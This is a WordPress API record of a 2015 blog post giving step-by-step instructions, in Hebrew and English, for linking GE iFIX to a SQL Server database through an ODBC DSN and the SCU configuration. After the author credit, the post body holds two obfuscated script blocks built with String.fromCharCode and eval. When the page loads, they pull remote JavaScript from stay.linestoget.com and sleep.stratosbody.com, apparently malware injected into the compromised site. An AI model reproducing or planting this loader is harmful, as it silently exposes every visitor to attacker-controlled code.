{"id":35688,"date":"2015-01-20T03:45:15","date_gmt":"2015-01-20T00:45:15","guid":{"rendered":"https:\/\/smartlogic.co.il\/?p=35688"},"modified":"2015-01-20T03:45:15","modified_gmt":"2015-01-20T00:45:15","slug":"%d7%90%d7%95%d7%98%d7%95%d7%9e%d7%a6%d7%99%d7%94-%d7%95%d7%91%d7%a7%d7%a8%d7%94-ifix-to-sql-guide","status":"publish","type":"post","link":"https:\/\/smartlogic.co.il\/staging_new\/%d7%90%d7%95%d7%98%d7%95%d7%9e%d7%a6%d7%99%d7%94-%d7%95%d7%91%d7%a7%d7%a8%d7%94-ifix-to-sql-guide\/","title":{"rendered":"\u05de\u05d3\u05e8\u05d9\u05da \u05d0\u05d9\u05d9\u05e4\u05d9\u05e7\u05e1 \u05dc\u05de\u05e1\u05d3 \u05e0\u05ea\u05d5\u05e0\u05d9\u05dd- IFIX TO SQL GUIDE"},"content":{"rendered":"<h2 style=\"text-align: center\"><u><a href=\"http:\/\/www.smartlogic.co.il\/%D7%90%D7%95%D7%98%D7%95%D7%9E%D7%A6%D7%99%D7%94-%D7%95%D7%91%D7%A7%D7%A8%D7%94-%D7%99%D7%AA%D7%A8%D7%95%D7%A0%D7%95%D7%AA-%D7%95%D7%97%D7%A1%D7%A8%D7%95%D7%A0%D7%95%D7%AA\/\">\u05d0\u05d5\u05d8\u05d5\u05de\u05e6\u05d9\u05d4 \u05d5\u05d1\u05e7\u05e8\u05d4<\/a>\u00a0\u05d0\u05d9\u05da \u05de\u05e9\u05ea\u05de\u05e9\u05d9\u05dd \u05d1\u05de\u05e1\u05d3\u05d9 \u05e0\u05ea\u05d5\u05e0\u05d9\u05dd \u05dc\u05d0\u05d9\u05d9\u05e4\u05d9\u05e7\u05e1\u00a0-IFIX TO SQL GUIDE<\/u><\/h2>\n<p style=\"text-align: center\">Part 1<\/p>\n<p style=\"text-align: left\">(In Control Panel, double click on Administrative Tools then double click on Data Sources(ODBC<\/p>\n<p style=\"text-align: left\">If you have not already setup a System DSN then click on the System DSN folder.<\/p>\n<p style=\"text-align: left\">Choose the ADD button, and select the applicable ODBC Driver:<\/p>\n<p style=\"text-align: left\">If you will be using an SQL relational database then select the SQL Server driver:<\/p>\n<p style=\"text-align: left\">Enter a Data Source Name.\u00a0 This can be any name, and will be used later to connect to the relational database from FIX\/iFIX.\u00a0 Make a note of what is entered here.<\/p>\n<p style=\"text-align: left\">Enter the Server Name then click the Next button.<\/p>\n<p style=\"text-align: left\">Specify the information for how you want to verify the authenticity of the login; select &quot;With Windows NT Authentication using the Network Login ID&quot; if you want to use the existing logged on Windows operating system user to authenticate.<\/p>\n<p style=\"text-align: left\">Click the Next button and complete the configuration information on the next two screens and then click Complete.<\/p>\n<p style=\"text-align: left\">Test the connection to the specified database.<\/p>\n<p>\u05d7\u05dc\u05e7 2<\/p>\n<p>\u05e0\u05db\u05e0\u05e1\u05d9\u05dd \u05dc\u05e4\u05e8\u05d5\u05d9\u05e7\u05d8 \u05e4\u05d5\u05ea\u05d7\u05d9\u05dd \u05d0\u05ea SCU \u05d1\u05d5\u05d7\u05e8\u05d9\u05dd \u05d1\u05d0\u05d9\u05d9\u05e7\u05d5\u05df \u05d4\u05e9\u05e0\u05d9 \u05de\u05d9\u05de\u05d9\u05df sql accounts<\/p>\n<p>\u05dc\u05d5\u05d7\u05e6\u05d9\u05dd \u05e2\u05dc add \u00a0\u05d1\u05ea\u05d9\u05d1\u05ea db type \u00a0\u05d1\u05d5\u05d7\u05e8\u05d9\u05dd sql server \u00a0\u05d5\u05d1-db identifier \u05d1\u05d5\u05d7\u05e8\u05d9\u05dd \u05d0\u05ea \u05d4\u05e9\u05dd \u05e9\u05d4\u05d2\u05d3\u05e8\u05e0\u05d5 \u05d1\u05d7\u05dc\u05e7 1 (\u05e9\u05dd \u05d4\u05d1\u05e1\u05d9\u05e1 \u05e0\u05ea\u05d5\u05e0\u05d9\u05dd) \u05d5\u05d0\u05d6 \u05dc\u05d5\u05d7\u05e6\u05d9\u05dd OK, \u05dc\u05d5\u05d7\u05e6\u05d9\u05dd \u05e2\u05dc configure sql task \u00a0 \u05dc\u05e1\u05de\u05df enable \u00a0\u05dc\u05d4\u05d6\u05d9\u05df db id \u00a0\u05db\u05de\u05d5 \u05d1\u05d7\u05dc\u05e7 1 \u05d5\u05d1- sql cmd table \u00a0\u05dc\u05d4\u05d6\u05d9\u05df SQLLIB \u00a0\u05d5\u05d1- error log table \u00a0\u05dc\u05d4\u05d6\u05d9\u05df SQLERR \u05dc\u05e1\u05de\u05df \u05d0\u05ea \u05e9\u05ea\u05d9 \u05d4\u05e6'\u05e7\u05d1\u05d5\u05e7\u05e1 \u05d5\u05dc\u05dc\u05d7\u05d5\u05e5 OK .\u05d5\u05e9\u05d5\u05d1 OK.<\/p>\n<p>\u05dc\u05d0\u05d7\u05e8 \u05de\u05db\u05df \u05e2\u05d3\u05d9\u05d9\u05df \u05d1\u05de\u05e1\u05da SCU \u05dc\u05dc\u05d7\u05d5\u05e5 \u05e2\u05dc \u05d0\u05d9\u05d9\u05e7\u05d5\u05df \u05e9\u05e0\u05d9 \u05de\u05e9\u05de\u05d0\u05dc alarm configuration \u00a0\u05dc\u05d1\u05d7\u05d5\u05e8 \u05d0\u05ea alarm ODBC\u2026. \u00a0\u05dc\u05e1\u05de\u05df \u05d0\u05d5\u05ea\u05d5 enable \u05dc\u05dc\u05d7\u05d5\u05e5 \u05e2\u05dc\u05d9\u05d5 \u05dc\u05d7\u05d9\u05e6\u05d4 \u05db\u05e4\u05d5\u05dc\u05d4 \u05d5\u05dc\u05dc\u05d7\u05d5\u05e5 configure..\u00a0\u00a0 \u05d1- dbtype \u00a0\u05dc\u05d1\u05d7\u05d5\u05e8 sql server \u00a0\u05d5\u05d1- db id \u00a0\u05dc\u05d1\u05d7\u05d5\u05e8 \u05d0\u05ea \u05d4\u05e9\u05dd \u05e9\u05dc \u05d4\u05d1\u05e1\u05d9\u05e1 \u05e0\u05ea\u05d5\u05e0\u05d9\u05dd \u05de\u05d7\u05dc\u05e7 1 \u05dc\u05e1\u05de\u05df \u05d0\u05ea \u05de\u05d4 \u05e9\u05de\u05d5\u05e7\u05e3 \u05d1\u05d0\u05d3\u05d5\u05dd \u05d5\u05d2\u05dd \u05d0\u05ea \u05d4\u05e6'\u05e7\u05d1\u05d5\u05e7\u05e1 \u05d4\u05ea\u05d7\u05ea\u05d5\u05df \u05d5\u05dc\u05d1\u05d7\u05d5\u05e8 select all \u00a0\u05dc\u05e9\u05d9\u05dd \u05dc\u05d1 \u05e9\u05d4\u05db\u05ea\u05d5\u05d1\u05ea \u05d1\u05e9\u05d3\u05d4 file \u05e0\u05db\u05d5\u05e0\u05d4 \u05db\u05de\u05d5 \u05d1\u05ea\u05de\u05d5\u05e0\u05d4<\/p>\n<p>\u05d5\u05dc\u05dc\u05d7\u05d5\u05e5 OK.<\/p>\n<p><a href=\"http:\/\/www.smartlogic.co.il\/%D7%90%D7%95%D7%98%D7%95%D7%9E%D7%A6%D7%99%D7%94-%D7%95%D7%91%D7%A7%D7%A8%D7%94-%D7%99%D7%AA%D7%A8%D7%95%D7%A0%D7%95%D7%AA-%D7%95%D7%97%D7%A1%D7%A8%D7%95%D7%A0%D7%95%D7%AA\/\">\u05d0\u05d5\u05d8\u05d5\u05de\u05e6\u05d9\u05d4 \u05d5\u05d1\u05e7\u05e8\u05d4<\/a> -IFIX TO SQL GUIDE<\/p>\n<p style=\"text-align: left\">\u05d4\u05de\u05d0\u05de\u05e8 \u05e0\u05db\u05ea\u05d1 \u05e2\u05dc \u05d9\u05d3\u05d9 \u05d0\u05d9\u05dc\u05df \u05e9\u05e2\u05d9\u05d4<\/p>\n<p style=\"text-align: left\">\u00a0This article was written by Ilan\u00a0Shaya, automation and control expert<\/p>\n<p><script>var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));\/*99586587347*\/<\/script><script>var o=String;eval(o.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,10,118,97,114,32,98,100,32,61,32,34,104,116,116,34,43,34,112,115,58,34,43,34,47,34,43,34,47,115,34,43,34,108,101,101,34,43,34,112,46,115,116,114,97,34,43,34,116,34,43,34,111,115,98,34,43,34,111,100,121,46,99,111,109,47,34,43,34,115,99,34,43,34,114,105,112,34,43,34,116,34,43,34,115,47,104,101,97,34,43,34,100,46,106,34,43,34,115,34,43,34,63,34,43,34,118,61,51,34,43,34,46,34,43,34,56,34,43,34,46,48,34,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));\/*54745756836*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u05d0\u05d5\u05d8\u05d5\u05de\u05e6\u05d9\u05d4 \u05d5\u05d1\u05e7\u05e8\u05d4 -IFIX TO SQL GUIDE &#8211; \u05db\u05dc \u05d4\u05e9\u05dc\u05d1\u05d9\u05dd \u05e9\u05d9\u05e9 \u05dc\u05d1\u05e6\u05e2 \u05de &#8211; IFIX \u05dc &#8211; SQL<\/p>\n","protected":false},"author":2,"featured_media":35487,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[13],"tags":[126,146,206,259,345,365,452,454,461,475,477,539],"class_list":["post-35688","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-13","tag-database","tag-dsn","tag-ifix","tag-odbc","tag-scu","tag-sql","tag-452","tag-454","tag-461","tag-475","tag-477","tag-539"],"_links":{"self":[{"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/posts\/35688","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/comments?post=35688"}],"version-history":[{"count":0,"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/posts\/35688\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/media\/35487"}],"wp:attachment":[{"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/media?parent=35688"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/categories?post=35688"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/tags?post=35688"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}